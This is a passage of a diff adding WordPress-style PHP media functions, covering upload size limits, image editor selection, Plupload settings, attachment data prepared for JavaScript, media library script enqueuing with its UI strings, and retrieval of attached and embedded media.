+function wp_max_upload_size() {
+	$u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) );
+	$p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) );
+
+	/**
+	 * Filters the maximum upload size allowed in php.ini.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $size    Max upload size limit in bytes.
+	 * @param int $u_bytes Maximum upload filesize in bytes.
+	 * @param int $p_bytes Maximum size of POST data in bytes.
+	 */
+	return apply_filters( 'upload_size_limit', min( $u_bytes, $p_bytes ), $u_bytes, $p_bytes );
+}
+
+/**
+ * Returns a WP_Image_Editor instance and loads file into it.
+ *
+ * @since 3.5.0
+ *
+ * @param string $path Path to the file to load.
+ * @param array  $args Optional. Additional arguments for retrieving the image editor.
+ *                     Default empty array.
+ * @return WP_Image_Editor|WP_Error The WP_Image_Editor object if successful, an WP_Error
+ *                                  object otherwise.
+ */
+function wp_get_image_editor( $path, $args = array() ) {
+	$args['path'] = $path;
+
+	if ( ! isset( $args['mime_type'] ) ) {
+		$file_info = wp_check_filetype( $args['path'] );
+
+		// If $file_info['type'] is false, then we let the editor attempt to
+		// figure out the file type, rather than forcing a failure based on extension.
+		if ( isset( $file_info ) && $file_info['type'] )
+			$args['mime_type'] = $file_info['type'];
+	}
+
+	$implementation = _wp_image_editor_choose( $args );
+
+	if ( $implementation ) {
+		$editor = new $implementation( $path );
+		$loaded = $editor->load();
+
+		if ( is_wp_error( $loaded ) )
+			return $loaded;
+
+		return $editor;
+	}
+
+	return new WP_Error( 'image_no_editor', __('No editor could be selected.') );
+}
+
+/**
+ * Tests whether there is an editor that supports a given mime type or methods.
+ *
+ * @since 3.5.0
+ *
+ * @param string|array $args Optional. Array of arguments to retrieve the image editor supports.
+ *                           Default empty array.
+ * @return bool True if an eligible editor is found; false otherwise.
+ */
+function wp_image_editor_supports( $args = array() ) {
+	return (bool) _wp_image_editor_choose( $args );
+}
+
+/**
+ * Tests which editors are capable of supporting the request.
+ *
+ * @ignore
+ * @since 3.5.0
+ *
+ * @param array $args Optional. Array of arguments for choosing a capable editor. Default empty array.
+ * @return string|false Class name for the first editor that claims to support the request. False if no
+ *                     editor claims to support the request.
+ */
+function _wp_image_editor_choose( $args = array() ) {
+	require_once ABSPATH . WPINC . '/class-wp-image-editor.php';
+	require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php';
+	require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php';
+	/**
+	 * Filters the list of image editing library classes.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $image_editors List of available image editors. Defaults are
+	 *                             'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD'.
+	 */
+	$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) );
+
+	foreach ( $implementations as $implementation ) {
+		if ( ! call_user_func( array( $implementation, 'test' ), $args ) )
+			continue;
+
+		if ( isset( $args['mime_type'] ) &&
+			! call_user_func(
+				array( $implementation, 'supports_mime_type' ),
+				$args['mime_type'] ) ) {
+			continue;
+		}
+
+		if ( isset( $args['methods'] ) &&
+			 array_diff( $args['methods'], get_class_methods( $implementation ) ) ) {
+			continue;
+		}
+
+		return $implementation;
+	}
+
+	return false;
+}
+
+/**
+ * Prints default Plupload arguments.
+ *
+ * @since 3.4.0
+ */
+function wp_plupload_default_settings() {
+	$wp_scripts = wp_scripts();
+
+	$data = $wp_scripts->get_data( 'wp-plupload', 'data' );
+	if ( $data && false !== strpos( $data, '_wpPluploadSettings' ) )
+		return;
+
+	$max_upload_size = wp_max_upload_size();
+	$allowed_extensions = array_keys( get_allowed_mime_types() );
+	$extensions = array();
+	foreach ( $allowed_extensions as $extension ) {
+		$extensions = array_merge( $extensions, explode( '|', $extension ) );
+	}
+
+	/*
+	 * Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
+	 * and the `flash_swf_url` and `silverlight_xap_url` are not used.
+	 */
+	$defaults = array(
+		'file_data_name'      => 'async-upload', // key passed to $_FILE.
+		'url'                 => admin_url( 'async-upload.php', 'relative' ),
+		'filters' => array(
+			'max_file_size'   => $max_upload_size . 'b',
+			'mime_types'      => array( array( 'extensions' => implode( ',', $extensions ) ) ),
+		),
+	);
+
+	// Currently only iOS Safari supports multiple files uploading but iOS 7.x has a bug that prevents uploading of videos
+	// when enabled. See #29602.
+	if ( wp_is_mobile() && strpos( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) !== false &&
+		strpos( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' ) !== false ) {
+
+		$defaults['multi_selection'] = false;
+	}
+
+	/**
+	 * Filters the Plupload default settings.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $defaults Default Plupload settings array.
+	 */
+	$defaults = apply_filters( 'plupload_default_settings', $defaults );
+
+	$params = array(
+		'action' => 'upload-attachment',
+	);
+
+	/**
+	 * Filters the Plupload default parameters.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $params Default Plupload parameters array.
+	 */
+	$params = apply_filters( 'plupload_default_params', $params );
+	$params['_wpnonce'] = wp_create_nonce( 'media-form' );
+	$defaults['multipart_params'] = $params;
+
+	$settings = array(
+		'defaults' => $defaults,
+		'browser'  => array(
+			'mobile'    => wp_is_mobile(),
+			'supported' => _device_can_upload(),
+		),
+		'limitExceeded' => is_multisite() && ! is_upload_space_available()
+	);
+
+	$script = 'var _wpPluploadSettings = ' . wp_json_encode( $settings ) . ';';
+
+	if ( $data )
+		$script = "$data\n$script";
+
+	$wp_scripts->add_data( 'wp-plupload', 'data', $script );
+}
+
+/**
+ * Prepares an attachment post object for JS, where it is expected
+ * to be JSON-encoded and fit into an Attachment model.
+ *
+ * @since 3.5.0
+ *
+ * @param mixed $attachment Attachment ID or object.
+ * @return array|void Array of attachment details.
+ */
+function wp_prepare_attachment_for_js( $attachment ) {
+	if ( ! $attachment = get_post( $attachment ) )
+		return;
+
+	if ( 'attachment' != $attachment->post_type )
+		return;
+
+	$meta = wp_get_attachment_metadata( $attachment->ID );
+	if ( false !== strpos( $attachment->post_mime_type, '/' ) )
+		list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
+	else
+		list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
+
+	$attachment_url = wp_get_attachment_url( $attachment->ID );
+	$base_url = str_replace( wp_basename( $attachment_url ), '', $attachment_url );
+
+	$response = array(
+		'id'          => $attachment->ID,
+		'title'       => $attachment->post_title,
+		'filename'    => wp_basename( get_attached_file( $attachment->ID ) ),
+		'url'         => $attachment_url,
+		'link'        => get_attachment_link( $attachment->ID ),
+		'alt'         => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
+		'author'      => $attachment->post_author,
+		'description' => $attachment->post_content,
+		'caption'     => $attachment->post_excerpt,
+		'name'        => $attachment->post_name,
+		'status'      => $attachment->post_status,
+		'uploadedTo'  => $attachment->post_parent,
+		'date'        => strtotime( $attachment->post_date_gmt ) * 1000,
+		'modified'    => strtotime( $attachment->post_modified_gmt ) * 1000,
+		'menuOrder'   => $attachment->menu_order,
+		'mime'        => $attachment->post_mime_type,
+		'type'        => $type,
+		'subtype'     => $subtype,
+		'icon'        => wp_mime_type_icon( $attachment->ID ),
+		'dateFormatted' => mysql2date( __( 'F j, Y' ), $attachment->post_date ),
+		'nonces'      => array(
+			'update' => false,
+			'delete' => false,
+			'edit'   => false
+		),
+		'editLink'   => false,
+		'meta'       => false,
+	);
+
+	$author = new WP_User( $attachment->post_author );
+	if ( $author->exists() ) {
+		$response['authorName'] = html_entity_decode( $author->display_name, ENT_QUOTES, get_bloginfo( 'charset' ) );
+	} else {
+		$response['authorName'] = __( '(no author)' );
+	}
+
+	if ( $attachment->post_parent ) {
+		$post_parent = get_post( $attachment->post_parent );
+	} else {
+		$post_parent = false;
+	}
+
+	if ( $post_parent ) {
+		$parent_type = get_post_type_object( $post_parent->post_type );
+
+		if ( $parent_type && $parent_type->show_ui && current_user_can( 'edit_post', $attachment->post_parent ) ) {
+			$response['uploadedToLink'] = get_edit_post_link( $attachment->post_parent, 'raw' );
+		}
+
+		if ( $parent_type && current_user_can( 'read_post', $attachment->post_parent ) ) {
+			$response['uploadedToTitle'] = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' );
+		}
+	}
+
+	$attached_file = get_attached_file( $attachment->ID );
+
+	if ( isset( $meta['filesize'] ) ) {
+		$bytes = $meta['filesize'];
+	} elseif ( file_exists( $attached_file ) ) {
+		$bytes = filesize( $attached_file );
+	} else {
+		$bytes = '';
+	}
+
+	if ( $bytes ) {
+		$response['filesizeInBytes'] = $bytes;
+		$response['filesizeHumanReadable'] = size_format( $bytes );
+	}
+
+	$context = get_post_meta( $attachment->ID, '_wp_attachment_context', true );
+	$response['context'] = ( $context ) ? $context : '';
+
+	if ( current_user_can( 'edit_post', $attachment->ID ) ) {
+		$response['nonces']['update'] = wp_create_nonce( 'update-post_' . $attachment->ID );
+		$response['nonces']['edit'] = wp_create_nonce( 'image_editor-' . $attachment->ID );
+		$response['editLink'] = get_edit_post_link( $attachment->ID, 'raw' );
+	}
+
+	if ( current_user_can( 'delete_post', $attachment->ID ) )
+		$response['nonces']['delete'] = wp_create_nonce( 'delete-post_' . $attachment->ID );
+
+	if ( $meta && ( 'image' === $type || ! empty( $meta['sizes'] ) ) ) {
+		$sizes = array();
+
+		/** This filter is documented in wp-admin/includes/media.php */
+		$possible_sizes = apply_filters( 'image_size_names_choose', array(
+			'thumbnail' => __('Thumbnail'),
+			'medium'    => __('Medium'),
+			'large'     => __('Large'),
+			'full'      => __('Full Size'),
+		) );
+		unset( $possible_sizes['full'] );
+
+		// Loop through all potential sizes that may be chosen. Try to do this with some efficiency.
+		// First: run the image_downsize filter. If it returns something, we can use its data.
+		// If the filter does not return something, then image_downsize() is just an expensive
+		// way to check the image metadata, which we do second.
+		foreach ( $possible_sizes as $size => $label ) {
+
+			/** This filter is documented in wp-includes/media.php */
+			if ( $downsize = apply_filters( 'image_downsize', false, $attachment->ID, $size ) ) {
+				if ( empty( $downsize[3] ) ) {
+					continue;
+				}
+
+				$sizes[ $size ] = array(
+					'height'      => $downsize[2],
+					'width'       => $downsize[1],
+					'url'         => $downsize[0],
+					'orientation' => $downsize[2] > $downsize[1] ? 'portrait' : 'landscape',
+				);
+			} elseif ( isset( $meta['sizes'][ $size ] ) ) {
+				// Nothing from the filter, so consult image metadata if we have it.
+				$size_meta = $meta['sizes'][ $size ];
+
+				// We have the actual image size, but might need to further constrain it if content_width is narrower.
+				// Thumbnail, medium, and full sizes are also checked against the site's height/width options.
+				list( $width, $height ) = image_constrain_size_for_editor( $size_meta['width'], $size_meta['height'], $size, 'edit' );
+
+				$sizes[ $size ] = array(
+					'height'      => $height,
+					'width'       => $width,
+					'url'         => $base_url . $size_meta['file'],
+					'orientation' => $height > $width ? 'portrait' : 'landscape',
+				);
+			}
+		}
+
+		if ( 'image' === $type ) {
+			$sizes['full'] = array( 'url' => $attachment_url );
+
+			if ( isset( $meta['height'], $meta['width'] ) ) {
+				$sizes['full']['height'] = $meta['height'];
+				$sizes['full']['width'] = $meta['width'];
+				$sizes['full']['orientation'] = $meta['height'] > $meta['width'] ? 'portrait' : 'landscape';
+			}
+
+			$response = array_merge( $response, $sizes['full'] );
+		} elseif ( $meta['sizes']['full']['file'] ) {
+			$sizes['full'] = array(
+				'url'         => $base_url . $meta['sizes']['full']['file'],
+				'height'      => $meta['sizes']['full']['height'],
+				'width'       => $meta['sizes']['full']['width'],
+				'orientation' => $meta['sizes']['full']['height'] > $meta['sizes']['full']['width'] ? 'portrait' : 'landscape'
+			);
+		}
+
+		$response = array_merge( $response, array( 'sizes' => $sizes ) );
+	}
+
+	if ( $meta && 'video' === $type ) {
+		if ( isset( $meta['width'] ) )
+			$response['width'] = (int) $meta['width'];
+		if ( isset( $meta['height'] ) )
+			$response['height'] = (int) $meta['height'];
+	}
+
+	if ( $meta && ( 'audio' === $type || 'video' === $type ) ) {
+		if ( isset( $meta['length_formatted'] ) )
+			$response['fileLength'] = $meta['length_formatted'];
+
+		$response['meta'] = array();
+		foreach ( wp_get_attachment_id3_keys( $attachment, 'js' ) as $key => $label ) {
+			$response['meta'][ $key ] = false;
+
+			if ( ! empty( $meta[ $key ] ) ) {
+				$response['meta'][ $key ] = $meta[ $key ];
+			}
+		}
+
+		$id = get_post_thumbnail_id( $attachment->ID );
+		if ( ! empty( $id ) ) {
+			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'full' );
+			$response['image'] = compact( 'src', 'width', 'height' );
+			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'thumbnail' );
+			$response['thumb'] = compact( 'src', 'width', 'height' );
+		} else {
+			$src = wp_mime_type_icon( $attachment->ID );
+			$width = 48;
+			$height = 64;
+			$response['image'] = compact( 'src', 'width', 'height' );
+			$response['thumb'] = compact( 'src', 'width', 'height' );
+		}
+	}
+
+	if ( function_exists('get_compat_media_markup') )
+		$response['compat'] = get_compat_media_markup( $attachment->ID, array( 'in_modal' => true ) );
+
+	/**
+	 * Filters the attachment data prepared for JavaScript.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array      $response   Array of prepared attachment data.
+	 * @param int|object $attachment Attachment ID or object.
+	 * @param array      $meta       Array of attachment meta data.
+	 */
+	return apply_filters( 'wp_prepare_attachment_for_js', $response, $attachment, $meta );
+}
+
+/**
+ * Enqueues all scripts, styles, settings, and templates necessary to use
+ * all media JS APIs.
+ *
+ * @since 3.5.0
+ *
+ * @global int       $content_width
+ * @global wpdb      $wpdb
+ * @global WP_Locale $wp_locale
+ *
+ * @param array $args {
+ *     Arguments for enqueuing media scripts.
+ *
+ *     @type int|WP_Post A post object or ID.
+ * }
+ */
+function wp_enqueue_media( $args = array() ) {
+	// Enqueue me just once per page, please.
+	if ( did_action( 'wp_enqueue_media' ) )
+		return;
+
+	global $content_width, $wpdb, $wp_locale;
+
+	$defaults = array(
+		'post' => null,
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	// We're going to pass the old thickbox media tabs to `media_upload_tabs`
+	// to ensure plugins will work. We will then unset those tabs.
+	$tabs = array(
+		// handler action suffix => tab label
+		'type'     => '',
+		'type_url' => '',
+		'gallery'  => '',
+		'library'  => '',
+	);
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$tabs = apply_filters( 'media_upload_tabs', $tabs );
+	unset( $tabs['type'], $tabs['type_url'], $tabs['gallery'], $tabs['library'] );
+
+	$props = array(
+		'link'  => get_option( 'image_default_link_type' ), // db default is 'file'
+		'align' => get_option( 'image_default_align' ), // empty default
+		'size'  => get_option( 'image_default_size' ),  // empty default
+	);
+
+	$exts = array_merge( wp_get_audio_extensions(), wp_get_video_extensions() );
+	$mimes = get_allowed_mime_types();
+	$ext_mimes = array();
+	foreach ( $exts as $ext ) {
+		foreach ( $mimes as $ext_preg => $mime_match ) {
+			if ( preg_match( '#' . $ext . '#i', $ext_preg ) ) {
+				$ext_mimes[ $ext ] = $mime_match;
+				break;
+			}
+		}
+	}
+
+	/**
+	 * Allows showing or hiding the "Create Audio Playlist" button in the media library.
+	 *
+	 * By default, the "Create Audio Playlist" button will always be shown in
+	 * the media library.  If this filter returns `null`, a query will be run
+	 * to determine whether the media library contains any audio items.  This
+	 * was the default behavior prior to version 4.8.0, but this query is
+	 * expensive for large media libraries.
+	 *
+	 * @since 4.7.4
+	 * @since 4.8.0 The filter's default value is `true` rather than `null`.
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/31071
+	 *
+	 * @param bool|null Whether to show the button, or `null` to decide based
+	 *                  on whether any audio files exist in the media library.
+	 */
+	$show_audio_playlist = apply_filters( 'media_library_show_audio_playlist', true );
+	if ( null === $show_audio_playlist ) {
+		$show_audio_playlist = $wpdb->get_var( "
+			SELECT ID
+			FROM $wpdb->posts
+			WHERE post_type = 'attachment'
+			AND post_mime_type LIKE 'audio%'
+			LIMIT 1
+		" );
+	}
+
+	/**
+	 * Allows showing or hiding the "Create Video Playlist" button in the media library.
+	 *
+	 * By default, the "Create Video Playlist" button will always be shown in
+	 * the media library.  If this filter returns `null`, a query will be run
+	 * to determine whether the media library contains any video items.  This
+	 * was the default behavior prior to version 4.8.0, but this query is
+	 * expensive for large media libraries.
+	 *
+	 * @since 4.7.4
+	 * @since 4.8.0 The filter's default value is `true` rather than `null`.
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/31071
+	 *
+	 * @param bool|null Whether to show the button, or `null` to decide based
+	 *                  on whether any video files exist in the media library.
+	 */
+	$show_video_playlist = apply_filters( 'media_library_show_video_playlist', true );
+	if ( null === $show_video_playlist ) {
+		$show_video_playlist = $wpdb->get_var( "
+			SELECT ID
+			FROM $wpdb->posts
+			WHERE post_type = 'attachment'
+			AND post_mime_type LIKE 'video%'
+			LIMIT 1
+		" );
+	}
+
+	/**
+	 * Allows overriding the list of months displayed in the media library.
+	 *
+	 * By default (if this filter does not return an array), a query will be
+	 * run to determine the months that have media items.  This query can be
+	 * expensive for large media libraries, so it may be desirable for sites to
+	 * override this behavior.
+	 *
+	 * @since 4.7.4
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/31071
+	 *
+	 * @param array|null An array of objects with `month` and `year`
+	 *                   properties, or `null` (or any other non-array value)
+	 *                   for default behavior.
+	 */
+	$months = apply_filters( 'media_library_months_with_files', null );
+	if ( ! is_array( $months ) ) {
+		$months = $wpdb->get_results( $wpdb->prepare( "
+			SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
+			FROM $wpdb->posts
+			WHERE post_type = %s
+			ORDER BY post_date DESC
+		", 'attachment' ) );
+	}
+	foreach ( $months as $month_year ) {
+		$month_year->text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month_year->month ), $month_year->year );
+	}
+
+	$settings = array(
+		'tabs'      => $tabs,
+		'tabUrl'    => add_query_arg( array( 'chromeless' => true ), admin_url('media-upload.php') ),
+		'mimeTypes' => wp_list_pluck( get_post_mime_types(), 0 ),
+		/** This filter is documented in wp-admin/includes/media.php */
+		'captions'  => ! apply_filters( 'disable_captions', '' ),
+		'nonce'     => array(
+			'sendToEditor'           => wp_create_nonce( 'media-send-to-editor' ),
+			'setAttachmentThumbnail' => wp_create_nonce( 'set-attachment-thumbnail' ),
+		),
+		'post'    => array(
+			'id' => 0,
+		),
+		'defaultProps' => $props,
+		'attachmentCounts' => array(
+			'audio' => ( $show_audio_playlist ) ? 1 : 0,
+			'video' => ( $show_video_playlist ) ? 1 : 0,
+		),
+		'oEmbedProxyUrl' => rest_url( 'oembed/1.0/proxy' ),
+		'embedExts'    => $exts,
+		'embedMimes'   => $ext_mimes,
+		'contentWidth' => $content_width,
+		'months'       => $months,
+		'mediaTrash'   => MEDIA_TRASH ? 1 : 0,
+	);
+
+	$post = null;
+	if ( isset( $args['post'] ) ) {
+		$post = get_post( $args['post'] );
+		$settings['post'] = array(
+			'id' => $post->ID,
+			'nonce' => wp_create_nonce( 'update-post_' . $post->ID ),
+		);
+
+		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post->post_type ) && post_type_supports( $post->post_type, 'thumbnail' );
+		if ( ! $thumbnail_support && 'attachment' === $post->post_type && $post->post_mime_type ) {
+			if ( wp_attachment_is( 'audio', $post ) ) {
+				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
+			} elseif ( wp_attachment_is( 'video', $post ) ) {
+				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
+			}
+		}
+
+		if ( $thumbnail_support ) {
+			$featured_image_id = get_post_meta( $post->ID, '_thumbnail_id', true );
+			$settings['post']['featuredImageId'] = $featured_image_id ? $featured_image_id : -1;
+		}
+	}
+
+	if ( $post ) {
+		$post_type_object = get_post_type_object( $post->post_type );
+	} else {
+		$post_type_object = get_post_type_object( 'post' );
+	}
+
+	$strings = array(
+		// Generic
+		'url'         => __( 'URL' ),
+		'addMedia'    => __( 'Add Media' ),
+		'search'      => __( 'Search' ),
+		'select'      => __( 'Select' ),
+		'cancel'      => __( 'Cancel' ),
+		'update'      => __( 'Update' ),
+		'replace'     => __( 'Replace' ),
+		'remove'      => __( 'Remove' ),
+		'back'        => __( 'Back' ),
+		/* translators: This is a would-be plural string used in the media manager.
+		   If there is not a word you can use in your language to avoid issues with the
+		   lack of plural support here, turn it into "selected: %d" then translate it.
+		 */
+		'selected'    => __( '%d selected' ),
+		'dragInfo'    => __( 'Drag and drop to reorder media files.' ),
+
+		// Upload
+		'uploadFilesTitle'  => __( 'Upload Files' ),
+		'uploadImagesTitle' => __( 'Upload Images' ),
+
+		// Library
+		'mediaLibraryTitle'      => __( 'Media Library' ),
+		'insertMediaTitle'       => __( 'Add Media' ),
+		'createNewGallery'       => __( 'Create a new gallery' ),
+		'createNewPlaylist'      => __( 'Create a new playlist' ),
+		'createNewVideoPlaylist' => __( 'Create a new video playlist' ),
+		'returnToLibrary'        => __( '&#8592; Return to library' ),
+		'allMediaItems'          => __( 'All media items' ),
+		'allDates'               => __( 'All dates' ),
+		'noItemsFound'           => __( 'No items found.' ),
+		'insertIntoPost'         => $post_type_object->labels->insert_into_item,
+		'unattached'             => __( 'Unattached' ),
+		'mine'                   => _x( 'Mine', 'media items' ),
+		'trash'                  => _x( 'Trash', 'noun' ),
+		'uploadedToThisPost'     => $post_type_object->labels->uploaded_to_this_item,
+		'warnDelete'             => __( "You are about to permanently delete this item from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
+		'warnBulkDelete'         => __( "You are about to permanently delete these items from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
+		'warnBulkTrash'          => __( "You are about to trash these items.\n  'Cancel' to stop, 'OK' to delete." ),
+		'bulkSelect'             => __( 'Bulk Select' ),
+		'cancelSelection'        => __( 'Cancel Selection' ),
+		'trashSelected'          => __( 'Trash Selected' ),
+		'untrashSelected'        => __( 'Untrash Selected' ),
+		'deleteSelected'         => __( 'Delete Selected' ),
+		'deletePermanently'      => __( 'Delete Permanently' ),
+		'apply'                  => __( 'Apply' ),
+		'filterByDate'           => __( 'Filter by date' ),
+		'filterByType'           => __( 'Filter by type' ),
+		'searchMediaLabel'       => __( 'Search Media' ),
+		'searchMediaPlaceholder' => __( 'Search media items...' ), // placeholder (no ellipsis)
+		'noMedia'                => __( 'No media files found.' ),
+
+		// Library Details
+		'attachmentDetails'  => __( 'Attachment Details' ),
+
+		// From URL
+		'insertFromUrlTitle' => __( 'Insert from URL' ),
+
+		// Featured Images
+		'setFeaturedImageTitle' => $post_type_object->labels->featured_image,
+		'setFeaturedImage'      => $post_type_object->labels->set_featured_image,
+
+		// Gallery
+		'createGalleryTitle' => __( 'Create Gallery' ),
+		'editGalleryTitle'   => __( 'Edit Gallery' ),
+		'cancelGalleryTitle' => __( '&#8592; Cancel Gallery' ),
+		'insertGallery'      => __( 'Insert gallery' ),
+		'updateGallery'      => __( 'Update gallery' ),
+		'addToGallery'       => __( 'Add to gallery' ),
+		'addToGalleryTitle'  => __( 'Add to Gallery' ),
+		'reverseOrder'       => __( 'Reverse order' ),
+
+		// Edit Image
+		'imageDetailsTitle'     => __( 'Image Details' ),
+		'imageReplaceTitle'     => __( 'Replace Image' ),
+		'imageDetailsCancel'    => __( 'Cancel Edit' ),
+		'editImage'             => __( 'Edit Image' ),
+
+		// Crop Image
+		'chooseImage' => __( 'Choose Image' ),
+		'selectAndCrop' => __( 'Select and Crop' ),
+		'skipCropping' => __( 'Skip Cropping' ),
+		'cropImage' => __( 'Crop Image' ),
+		'cropYourImage' => __( 'Crop your image' ),
+		'cropping' => __( 'Cropping&hellip;' ),
+		/* translators: 1: suggested width number, 2: suggested height number. */
+		'suggestedDimensions' => __( 'Suggested image dimensions: %1$s by %2$s pixels.' ),
+		'cropError' => __( 'There has been an error cropping your image.' ),
+
+		// Edit Audio
+		'audioDetailsTitle'     => __( 'Audio Details' ),
+		'audioReplaceTitle'     => __( 'Replace Audio' ),
+		'audioAddSourceTitle'   => __( 'Add Audio Source' ),
+		'audioDetailsCancel'    => __( 'Cancel Edit' ),
+
+		// Edit Video
+		'videoDetailsTitle'     => __( 'Video Details' ),
+		'videoReplaceTitle'     => __( 'Replace Video' ),
+		'videoAddSourceTitle'   => __( 'Add Video Source' ),
+		'videoDetailsCancel'    => __( 'Cancel Edit' ),
+		'videoSelectPosterImageTitle' => __( 'Select Poster Image' ),
+		'videoAddTrackTitle'	=> __( 'Add Subtitles' ),
+
+ 		// Playlist
+ 		'playlistDragInfo'    => __( 'Drag and drop to reorder tracks.' ),
+ 		'createPlaylistTitle' => __( 'Create Audio Playlist' ),
+ 		'editPlaylistTitle'   => __( 'Edit Audio Playlist' ),
+ 		'cancelPlaylistTitle' => __( '&#8592; Cancel Audio Playlist' ),
+ 		'insertPlaylist'      => __( 'Insert audio playlist' ),
+ 		'updatePlaylist'      => __( 'Update audio playlist' ),
+ 		'addToPlaylist'       => __( 'Add to audio playlist' ),
+ 		'addToPlaylistTitle'  => __( 'Add to Audio Playlist' ),
+
+ 		// Video Playlist
+ 		'videoPlaylistDragInfo'    => __( 'Drag and drop to reorder videos.' ),
+ 		'createVideoPlaylistTitle' => __( 'Create Video Playlist' ),
+ 		'editVideoPlaylistTitle'   => __( 'Edit Video Playlist' ),
+ 		'cancelVideoPlaylistTitle' => __( '&#8592; Cancel Video Playlist' ),
+ 		'insertVideoPlaylist'      => __( 'Insert video playlist' ),
+ 		'updateVideoPlaylist'      => __( 'Update video playlist' ),
+ 		'addToVideoPlaylist'       => __( 'Add to video playlist' ),
+ 		'addToVideoPlaylistTitle'  => __( 'Add to Video Playlist' ),
+	);
+
+	/**
+	 * Filters the media view settings.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array   $settings List of media view settings.
+	 * @param WP_Post $post     Post object.
+	 */
+	$settings = apply_filters( 'media_view_settings', $settings, $post );
+
+	/**
+	 * Filters the media view strings.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array   $strings List of media view strings.
+	 * @param WP_Post $post    Post object.
+	 */
+	$strings = apply_filters( 'media_view_strings', $strings,  $post );
+
+	$strings['settings'] = $settings;
+
+	// Ensure we enqueue media-editor first, that way media-views is
+	// registered internally before we try to localize it. see #24724.
+	wp_enqueue_script( 'media-editor' );
+	wp_localize_script( 'media-views', '_wpMediaViewsL10n', $strings );
+
+	wp_enqueue_script( 'media-audiovideo' );
+	wp_enqueue_style( 'media-views' );
+	if ( is_admin() ) {
+		wp_enqueue_script( 'mce-view' );
+		wp_enqueue_script( 'image-edit' );
+	}
+	wp_enqueue_style( 'imgareaselect' );
+	wp_plupload_default_settings();
+
+	require_once ABSPATH . WPINC . '/media-template.php';
+	add_action( 'admin_footer', 'wp_print_media_templates' );
+	add_action( 'wp_footer', 'wp_print_media_templates' );
+	add_action( 'customize_controls_print_footer_scripts', 'wp_print_media_templates' );
+
+	/**
+	 * Fires at the conclusion of wp_enqueue_media().
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( 'wp_enqueue_media' );
+}
+
+/**
+ * Retrieves media attached to the passed post.
+ *
+ * @since 3.6.0
+ *
+ * @param string      $type Mime type.
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return array Found attachments.
+ */
+function get_attached_media( $type, $post = 0 ) {
+	if ( ! $post = get_post( $post ) )
+		return array();
+
+	$args = array(
+		'post_parent' => $post->ID,
+		'post_type' => 'attachment',
+		'post_mime_type' => $type,
+		'posts_per_page' => -1,
+		'orderby' => 'menu_order',
+		'order' => 'ASC',
+	);
+
+	/**
+	 * Filters arguments used to retrieve media attached to the given post.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array  $args Post query arguments.
+	 * @param string $type Mime type of the desired media.
+	 * @param mixed  $post Post ID or object.
+	 */
+	$args = apply_filters( 'get_attached_media_args', $args, $type, $post );
+
+	$children = get_children( $args );
+
+	/**
+	 * Filters the list of media attached to the given post.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array  $children Associative array of media attached to the given post.
+	 * @param string $type     Mime type of the media desired.
+	 * @param mixed  $post     Post ID or object.
+	 */
+	return (array) apply_filters( 'get_attached_media', $children, $type, $post );
+}
+
+/**
+ * Check the content blob for an audio, video, object, embed, or iframe tags.
+ *
+ * @since 3.6.0
+ *
+ * @param string $content A string which might contain media data.
+ * @param array  $types   An array of media types: 'audio', 'video', 'object', 'embed', or 'iframe'.
+ * @return array A list of found HTML media embeds.
+ */
+function get_media_embedded_in_content( $content, $types = null ) {
+	$html = array();
+
+	/**
+	 * Filters the embedded media types that are allowed to be returned from the content blob.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array $allowed_media_types An array of allowed media types. Default media types are
+	 *                                   'audio', 'video', 'object', 'embed', and 'iframe'.
+	 */
+	$allowed_media_types = apply_filters( 'media_embedded_in_content_allowed_types', array( 'audio', 'video', 'object', 'embed', 'iframe' ) );
+
+	if ( ! empty( $types ) ) {
+		if ( ! is_array( $types ) ) {
+			$types = array( $types );
+		}
+
+		$allowed_media_types = array_intersect( $allowed_media_types, $types );
+	}
+
+	$tags = implode( '|', $allowed_media_types );
+
+	if ( preg_match_all( '#<(?P<tag>' . $tags . ')[^<]*?(?:>[\s\S]*?<\/(?P=tag)>|\s*\/>)#', $content, $matches ) ) {
+		foreach ( $matches[0] as $match ) {
+			$html[] = $match;
+		}
+	}
+
+	return $html;
+}
+
+/**
+ * Retrieves galleries from the passed post's content.
+ *
+ * @since 3.6.0
+ *
+ * @param int|WP_Post $post Post ID or object.
